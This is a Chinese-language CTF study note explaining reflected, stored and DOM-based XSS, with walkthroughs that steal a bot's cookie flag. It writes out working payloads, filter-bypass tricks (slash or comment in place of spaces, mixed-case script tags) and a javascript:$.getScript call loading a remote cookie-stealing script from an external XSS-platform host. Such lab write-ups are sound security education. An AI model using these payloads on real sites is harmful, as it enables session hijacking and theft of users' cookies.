CTF学习笔记 - XSS跨站脚本攻击
XSS 漏洞
漏洞介绍
XSS(跨站脚本攻击) 是一种通过注入恶意脚本到网页中,利用用户对网站的信任执行攻击的漏洞。攻击者可窃取用户敏感信息、篡改页面内容或进行钓鱼攻击。因其利用网站本身作为攻击媒介,隐蔽性强且危害极大,是 Web 安全领域的核心漏洞之一。
漏洞危害
- 网络钓鱼,包括获取各类用户账号
- 窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
- 劫持用户会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
- 强制弹出广告页面、刷流量等
- 进行恶意操作,如任意篡改页面信息、删除文章等
- 进行大量的客户端攻击,如 ddos 等
- 获取客户端信息,如用户的浏览历史、真实 ip、开放端口等
- 控制受害者机器向其他网站发起攻击;
- 结合其他漏洞,如 csrf,实施进步危害;
- 提升用户权限,包括进一步渗透网站
- 传播跨站脚本蠕虫等
漏洞类型
反射型 XSS
概念:又称非持久型 XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务。
常见注入点:网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端 cookies 或钓鱼欺骗。
漏洞产生原因:一般是网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的欻据中存在可被浏览器执行的代码数据。
攻击方式:攻击者通过电子邮件等方式将包含 XSS 代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有 XSS 的代码发送给目标用户的浏览器,浏览器解析这段带有 XSS 代码的恶意脚本后,就会触发 XSS 漏洞。由于此种类型的跨站代码存在于 URL 中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
反射型 XSS 攻击流程:
- 攻击者寻找具有漏洞的网站
- 攻击者给用户发了一个带有恶意字符串的链接
- 用户点击了该链接
- 服务器返回 HTML 文档,此时该文档已经包含了那个恶意字符串
- 客户端执行了植入的恶意脚本,就发生了 XSS 攻击
题目:反射型
解题步骤
访问题目,发现存在两个输入框,第一个输入框作用是修改名字,第二个输入框是将链接发生给机器人访问,我们的目标是将包含恶意脚本的链接发送给机器人执行,以获取机器人 cookie 中的 flag。

首先使用 <script>alert(1)</script>
对页面进行测试,发现因为浏览器安全策略,页面访问失败。

我们在 XSS 平台中创建一个在线的弹窗脚本。

以引用远程 js 文件的方式生成 payload。

在页面的第一个输入框中提交。

发现输入的内容通过 get 请求的方式提交到了服务器,并将 js 脚本进行解析执行,此页面存在 XSS 漏洞。再次刷新页面,发现并没有在进行弹窗,说明此漏洞为通过 get 提交方式触发的反射型 XSS 漏洞

我们在 XSS 平台构造恶意 js 脚本,用来获得用户的 cookie 信息。

将恶意 js 脚本以以远端引用的方式构造 payload。

将构造的 payload 通过第一个输入框进行提交,发现 url 中包含了构造的恶意脚本。

我们将此链接发送给机器人执行,发现执行成功。

回到 XSS 平台,发现已经获取到机器人的访问数据,并在 cookie 中获得题目 flag。

存储型 XSS
概念:存储型 XSS,又称持久型 XSS,比反射型 XSS 更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端。
常见注入点:论坛、博客、留言板、网站的留言、评论、日志等交互处。
漏洞产生原因:一般是由于 Web 应用程序对用户输入数据的不严格,导致 Web 应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
攻击方式:攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了 恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。
存储型 XSS 攻击流程:
- 用户提交了一条包含 XSS 代码的数据到数据库
- 当目标用户查询数据时,那些数据的内容会从服务器解析之后加载出来
- 浏览器发现有 XSS 代码,就当做正常的 HTML 和 JS 解析执行
题目:存储型
解题步骤
访问题目,发现存在两个输入框,第一个输入框作用是修改名字,第二个输入框是将链接发生给机器人访问,我们的目标是将包含恶意脚本的链接发送给机器人执行,以获取机器人 cookie 中的 flag。

首先使用 <script>alert(1)</script>
对页面进行测试。

提交后发现浏览器出现了弹窗,说明 js 脚本被执行,网站存在 XSS 漏洞。刷新页面后发现弹窗依旧被触发,说明该漏洞为存储型 XSS 漏洞。

我们在 XSS 平台构造恶意 js 脚本,用来获得用户的 cookie 信息。

将恶意 js 脚本以以远端引用的方式构造 payload。

将构造的 payload 通过第一个输入框进行提交,

此时该脚本已经存储到服务器中,并被当前页面渲染。我们将该页面 URL 发送给机器人访问,即可获得机器人的 cookie 信息。

回答 XSS 平台,发现已经获取到机器人的访问数据,并在 cookie 中获得题目 flag。

DOM 型 XSS
概念:DOM 是文档对象模型的缩写。它是 HTML 文档的对象表示,同时也是外部内容与 HTML 元素之间的接口。解析树的根节点是 Document 对象。使用 DOM 能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。它是基于 DOM 文档对象的一种漏洞,并且 DOM 型 XSS 是基于 JS 上的,并不需要与服务器进行交互。其通过修改页面 DOM 节点数据信息而形成的 ⅩSS 跨站脚本攻击。不同于反射型 XSS 和存储型 XSS,基于 DOM 的 XSS 跨站脚本攻击往往需要针对具体的 Javascript DOM 代码进行分析,并根据实际情况进行 XSS 跨站脚本攻击的利用。一种基于 DOM 的跨站,这是客户端脚本本身解析不正确导致的安全问题。
注入点:通过 js 脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以 DOM 动态修改页面的内容,从客户端获取 DOM 中的数据并在本地执行。由于 DOM 是在客户端修改节点的,所 以基于 DOM 型的 XSS 漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求一个经过专门设计的 URL,它由攻击者提供,而且其中包含 XSS 代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM 对象就会处理 XSS 代码,导致存 在 XSS 漏洞。
攻击流程:
- 攻击者寻找具有漏洞的网站
- 攻击者给用户发了一个带有恶意字符串的链接
- 用户点击了该链接
- 服务器返回 HTML 文档,但是该文档此时不包含那个恶意字符串
- 客户端执行了该 HTML 文档里的脚本,然后把恶意脚本植入了页面
- 客户端执行了植入的恶意脚本,XSS 攻击就发生了
题目:DOM 反射型
解题步骤
访问题目,发现存在两个输入框,第一个输入框作用是修改名字,第二个输入框是将链接发生给机器人访问,我们的目标是将包含恶意脚本的链接发送给机器人执行,以获取机器人 cookie 中的 flag。

我们首先查看页面源码,找到将用户输入在页面渲染的部分

代码如下,页面中的内容由 js 动态设置,从 URL 的 text
参数获取值,并直接插入到 DOM 的 innerHTML
中,未进行转义或过滤。
1 | <script> |
我们将 payload 直接提交,发现传入的内容并没有被当作 js 脚本被渲染。
1 | <script> |
我们通过将页面上原有的 script
标签闭合,后面再跟恶意代码,来实现 js 脚本的执行,原理如下:
1 | <script> |
页面弹出警示框,证明页面存在 XSS 漏洞。

我们将 js 脚本的地址换成 XSS 平台的攻击脚本

并将浏览器中完整的 URL 链接发送给机器人执行,发现发送成功。

回到 XSS 平台,发现已经获取到机器人的访问数据,并在 cookie 中获得题目 flag。

题目:DOM 跳转
解题步骤
直接审计题目源码。

1 | <script> |
代码逻辑
获取查询参数:
1 | var target = location.search.split("="); |
条件判断:
1 | if (target[0].slice(1) == "jumpto") { |
执行跳转:
1 | location.href = target[1]; |
构造 payload ?jumpto=javascript:$.getScript("``https://xss.snige.cn/myjs/default.js``")
,我们使用 $.getScript
函数让浏览器解析 XSS 平台上的恶意脚本。
解释:
location.href = "javascript:alert('xss')"
这样的代码赋值给location.href
时,浏览器会将其解释为一种特殊的 URL 方案,即伪协议。在这种情况下,浏览器会将后面的 js 代码作为 URL 的一部分进行解析,然后执行它。$.getScript
** **是 jQuery 库中提供的一个函数,其核心作用是 动态加载并执行外部 JavaScript 文件。
将完整的 URL 链接发送给机器人执行,成功发送。

回到 XSS 平台,发现已经获取到机器人的访问数据,并在 cookie 中获得题目 flag。

XSS 绕过技巧
题目:空格绕过
解题步骤
访问题目,提示空格过滤。

我们先测试是否存在 XSS 漏洞,发现提交后并没有执行脚本。

我们查看源码,发现题目过滤了空格,导致 payload 无法正常解析。

这里提供两种可以绕过空格过滤的方法。
用 /
代替空格(只对某些标签有效)
1 | <script/src="https://xss.snige.cn/myjs/test.js"></script> |
注释符 /**/
代替空格(适用于 JS 上下文)
1 | <script/**/src="https://xss.snige.cn/myjs/test.js"></script> |
我们使用这两种方法测试均可实现弹窗,页面存在 XSS 漏洞

我们将 js 脚本地址换成获取用户 cookie 的恶意地址,并将拼接后的 URL 发送给机器人访问。

回到 XSS 平台,发现已经成功返回了机器人的 cookie 信息

题目:关键词过滤
解题步骤
首先访问题目,发现题目提示了关键词过滤。

我们使用正常的脚本进行测试,发现 js 脚本并没有被执行。

经过尝试,发现服务器过滤了 script
字段,而且大小写敏感,也就是说之过滤了全小写的 script
字段。
我们可以将 script 字符改成大小写混合的形式,以此来绕过服务器的过滤。
1 | <sCript src="https://xss.snige.cn/myjs/default.js"></scRipt> |
将构造好的脚本进行提交,发现浏览器成功弹窗,题目存在 XSS 漏洞。


我们根据此绕过方法,构造获取用户 cookie 的 js 恶意脚本,拼接好 URL 后发送给机器人

回到 XSS 平台,发现已经成功返回了机器人的 cookie 信息
